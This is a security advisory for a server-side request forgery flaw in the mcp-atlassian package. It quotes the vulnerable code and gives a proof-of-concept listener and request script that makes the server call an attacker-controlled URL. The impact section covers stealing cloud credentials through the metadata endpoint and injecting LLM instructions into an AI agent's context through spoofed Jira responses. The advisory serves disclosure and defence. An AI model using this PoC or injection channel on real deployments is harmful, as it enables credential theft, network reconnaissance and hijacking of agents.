PT-2026-24620 · Pypi · Mcp-Attlasian

Published

2026-03-10

·

Updated

2026-03-10

CVSS v3.1

8.2

High

VectorAV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

Summary

An unauthenticated attacker who can reach the mcp-atlassian HTTP endpoint can force the server process to make outbound HTTP requests to an arbitrary attacker-controlled URL by supplying two custom HTTP headers without an Authorization header. No authentication is required. The vulnerability exists in the HTTP middleware and dependency injection layer — not in any MCP tool handler - making it invisible to tool-level code analysis. In cloud deployments, this could enable theft of IAM role credentials via the instance metadata endpoint (169.254.169.254). In any HTTP deployment it enables internal network reconnaissance and injection of attacker-controlled content into LLM tool results.

Details

The server supports a multi-tenant HTTP authentication mode where clients supply per-request Jira/Confluence URLs via custom headers. The middleware (src/mcp atlassian/servers/main.py:436–448) extracts X-Atlassian-Jira-Url from the request and stores it in request state with no validation. The dependency provider (src/mcp atlassian/servers/dependencies.py:189–217) then uses this value directly as the url= parameter when constructing a JiraConfig and JiraFetcher. The first method call on the fetcher (get current user account id()) immediately issues a GET request to {header url}/rest/api/2/myself — an outbound SSRF call to the attacker-controlled URL.
No comparison is made against the server-configured JIRA URL environment variable. No private IP range blocklist is applied. No URL scheme allowlist is enforced.
Trigger conditions — all four must hold:
  1. Server running with --transport streamable-http or --transport sse
  2. Request contains X-Atlassian-Jira-Url header (any non-empty value)
  3. Request contains X-Atlassian-Jira-Personal-Token header (any non-empty value)
  4. Request has no Authorization header
An identical vulnerability exists for Confluence at dependencies.py:341–393 via X-Atlassian-Confluence-Url + X-Atlassian-Confluence-Personal-Token.
Root cause - middleware (src/mcp atlassian/servers/main.py:436–448):
# When service headers are present and no Authorization header is provided,
# auth type is set to "pat" but user atlassian token is NOT set.
# This is what routes execution to the vulnerable path below.
if service headers and (jira token str and jira url str):
  scope["state"]["user atlassian auth type"] = "pat"

Root cause - dependency provider (src/mcp atlassian/servers/dependencies.py:189–217):
if (
  user auth type == "pat"
  and jira url header      # attacker-controlled, no validation
  and jira token header
  and not hasattr(request.state, "user atlassian token")
):
  header config = JiraConfig(
    url=jira url header,   # used directly, no allowlist check
    personal token=jira token header,
    ...
  )
  header jira fetcher = JiraFetcher(config=header config)
  header jira fetcher.get current user account id()
  # ^ GET {jira url header}/rest/api/2/myself — outbound SSRF call
  request.state.jira fetcher = header jira fetcher # cached for all tool calls this request


### PoC
Step 1 - Start a listener to capture the inbound SSRF request:

# listener.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, sys

class Handler(BaseHTTPRequestHandler):
  def do GET(self):
    print(f"[SSRF RECEIVED] Path: {self.path}", file=sys.stderr)
    print(f"[SSRF RECEIVED] Headers: {dict(self.headers)}", file=sys.stderr)
    self.send response(200)
    self.send header("Content-Type", "application/json")
    self.end headers()
    if "myself" in self.path:
      self.wfile.write(json.dumps({
        "accountId": "ssrf-confirmed",
        "displayName": "SSRF PoC"
      }).encode())
    else:
      self.wfile.write(b"{}")
  def log message(self, *args): pass

HTTPServer(("0.0.0.0", 8888), Handler).serve forever()

Step 2 - Start mcp-atlassian in HTTP transport mode (placeholder credentials are sufficient — the vulnerable path is reached before any real Atlassian instance is contacted):

JIRA URL=https://placeholder.atlassian.net 
JIRA API TOKEN=placeholder 
mcp-atlassian --transport streamable-http --port 8000

Step 3 — Trigger the SSRF:

import httpx, json

MCP  = "http://localhost:8000/mcp"
ATTACK = "http://<listener-ip>:8888"

# Initialize MCP session
r = httpx.post(MCP, json={
  "jsonrpc": "2.0", "method": "initialize",
  "params": {"protocolVersion": "2024-11-05", "capabilities": {},
        "clientInfo": {"name": "poc", "version": "1.0"}},
  "id": 1
}, headers={
  "X-Atlassian-Jira-Url": ATTACK,
  "X-Atlassian-Jira-Personal-Token": "any-value",
  # No Authorization header — this is the key condition
})
sid = r.headers.get("mcp-session-id")

# Call any Jira tool — this triggers get jira fetcher() and the outbound SSRF call
httpx.post(MCP, json={
  "jsonrpc": "2.0", "method": "tools/call",
  "params": {"name": "jira get issue", "arguments": {"issue key": "PROJ-1"}},
  "id": 2
}, headers={
  "X-Atlassian-Jira-Url": ATTACK,
  "X-Atlassian-Jira-Personal-Token": "any-value",
  "Mcp-Session-Id": sid,
})

The listener will receive GET /rest/api/2/myself originating from the MCP server process, confirming the SSRF.


### Impact
This vulnerability affects any deployment using `--transport streamable-http` or `--transport sse`. The default HOST=0.0.0.0 binding exposes the HTTP endpoint to any host on the same network without any configuration change, and to the internet when deployed on a cloud instance.

- Any HTTP deployment: The server acts as an SSRF proxy, enabling reconnaissance of internal services (databases, internal APIs, microservices)
not directly reachable from outside the network.
- AI agent sessions: Once the attacker-controlled fetcher is cached in request.state, all Jira tool responses for that session originate from the attacker's server. The attacker can return crafted API responses containing LLM instructions, injecting those instructions into the AI agent's context as if they were legitimate Jira data - a prompt injection channel at the data layer requiring no tool parameter manipulation.
- Cloud deployments: Any network-reachable attacker can potentially steal the server's IAM role credentials via the instance metadata service, gaining full access to all cloud resources that role permits.

Fix

SSRF

Weakness Enumeration

CWE-918

Related Identifiers

GHSA-7R34-79R5-RCC9

Affected Products

Mcp-Attlasian